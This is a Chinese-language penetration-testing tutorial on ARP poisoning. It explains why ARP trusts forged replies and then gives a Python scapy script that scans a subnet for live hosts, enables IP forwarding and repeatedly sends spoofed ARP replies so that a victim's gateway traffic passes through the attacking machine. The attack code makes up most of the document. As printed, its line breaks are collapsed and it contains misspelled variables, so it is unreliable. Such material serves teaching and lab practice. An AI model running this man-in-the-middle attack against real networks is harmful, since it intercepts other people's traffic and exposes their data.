Python渗透测试之ARP毒化和协议应用

1. ARP毒化

ARP毒化是一种比较老的渗透测试技术，通过ARP毒化技术分析并提取内网流量中的敏感信息，往往会有许多意外的收获。

1.1 工作原理

ARP（地址解析协议）是数据链路层的协议，主要负责根据网络层地址（IP）来获取数据链路层地址（MAC）。以太网协议规定，同一局域网中的一台主机要和另一台主机进行直接通信，必须知道目标主机的MAC地址。而在TCP/IP中，网络只关注目标主机的IP地址，这就导致在以太网中使用IP协议时，数据链路层的以太网协议接收到网络层的IP协议提供的数据中，只包含目的主机IP地址，于是需要ARP来完成IP地址到MAC地址到转换。本地ARP缓存表是有生存周期的，ARP有一个重大缺陷：ARP是建立在网络中各个主机互相信任的基础上的，主机接收到ARP应答报文时不会检测该报文的真实性，而直接将报文中的IP和MAC记入其ARP缓存表。如果ARP缓存表中有相同的地址项，则会对其进行更新。由此，攻击者可以向受害者主机发送伪ARP应答包，毒化受害主机的ARP缓存表。如下图：

开始毒化时，攻击机会给靶机发送ARP应答包说“我就是网关”，同时也会给网关发送ARP应答包说“我就是靶机。由于ARP缺陷，靶机和网关都会认为这应答包是真的。这样靶机和网关之间的通信就变成上图所示，靶机和网关之间的流量都要通过攻击机。

靶机ARP毒化之前，网关IP和MAC地址、攻击机IP和MAC地址，缓存表如下图红框：

下图是攻击机MAC地址

靶机ARP毒化之后，网关IP和MAC地址，缓存表如下图红框：

网关MAC地址变成攻击机的MAC地址了。

1.2 ARP毒化及应用

运行环境：

攻击机：Linux kali 5.10.0

靶机：Win10

功能模块：

获取网段内存活主机
获取指定IP主机的MAC地址
ARP毒化

示例代码如下：

#_*_coding:utf-8_*_
# 作者      ：liuxiaowei
# 创建时间   ：4/25/22 9:08 AM
# 文件      ：arp获取网络存活主机.py
# IDE      ：PyCharmfrom scapy.all import *
import sys
import os# 存放本机的mac地址
lmac = ""
# 存放本机的ip地址
#lip = ""
# 存放存活主机的ip和mac的字典
liveHost = {}# 获取存活主机的IP地址和MAC地址的函数
def GetAllMAC(lip):# IP扫描列表scanList = lip + '/24'try:# 通过对每个IP都进行ARP广播，获得存活主机的MAC地址ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=scanList), timeout=2)except Exception as e:print(e)# ARP广播发送完毕后执行else:# ans包含存活主机返回的响应包和响应内容for send, rcv in ans:addrList = rcv.sprintf("%Ether.src%|%ARP.psrc%")liveHost[addrList.split("|")[1]] = addrList.split("|")[0]# 根据IP地址获取主机的MAC地址
def GetOneMAC(targetIP):# 若该IP地址存在，则返回MAC地址if targetIP in liveHost.keys():return liveHost[targetIP]else:return 0# ARP毒化函数
def poison(targetIP, gatewayIP, ifname):# 获取毒化主机的MAC地址targetMac = GetOneMAC(targetIP)# 获取网关的MAC地址gatewayMac = GetOneMAC(gatewayIP)if targetMac and gatewaMac:while True:# 对目标主机毒化sendp(Ether(src=lmac, dst=targetMac)/ARP(hwsrc =lmac, hwdst = targetMAC, psrc=gatewayIP, pdst=targetIP, op=2),iface = ifname, verbose = False)time.sleep(1)else:print('目标主机/网关主机IP有误，请检查！')sys.exit(0)if __name__ == "__main__":# 程序界面print('\t\t\033[0;30;46m === ARP协议功能应用 === \033[0m')print('\n\t\t\t[1] 获取网段内存活主机：')print('\n\t\t\t[2] 获取指定IP主机的MAC地址')print('\n\t\t\t[3] ARP毒化')print('\n\t\t\t[4] 退  出 ')# while 循环Done = Truewhile Done:choice = int(input('\n\t\t\033[0;30;44m 请输入选项：\t \033[0m'))if choice == 1:lip = input('\n\t\t\033[0;30;44m 请输入网段地址：\t  \033[0m')GetAllMAC(lip)print(f'\n开始收集存活的主机.....：\n{liveHost}')print(f'存活主机数量为:{len(liveHost)}个')elif choice == 2:targetip = input('\n\t\t\033[0;30;44m 请输入指定主机地址：\t \033[0m')print(f'主机{targetip}的MAC地址： {GetOneMAC(targetip)}')elif choice == 3:print('\033[0;30;41m 开启路由转发功能.........\033[0m')os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')targetip = input('\n\t\t\033[0;30;44m 请输入目标主机IP地址：\t \033[0m')gatewayip = input('\n\t\t\033[0;30;44m 请输入网关IP地址：\t \033[0m')ifname = 'eth0'lmac = get_if_hwaddr(ifname)  # 获取本地mac地址try:print('\033[0;30;41m 开始毒化.........\033[0m')print(lmac)print(targetip)poison(targetip, gatewayip, ifname)except KeyboardInterrupt:print('\033[0;30;41m === 停止ARP毒化 === \033[0m')print('\033[0;30;41m === 停止路由转发功能 === \033[0m')elif choice == 4:Done = Falsebreak

运行结果如下：

下图是程序运行界面

下图是获取网段内存活主机模块运行结果：

下图是获取指定IP地址主机的MAC地址模块运行结果：

下图是ARP毒化模块运行结果：

攻击机开启路由转发，所以靶机ping www.baidu.com是可以通的，数据包被攻击机捕获。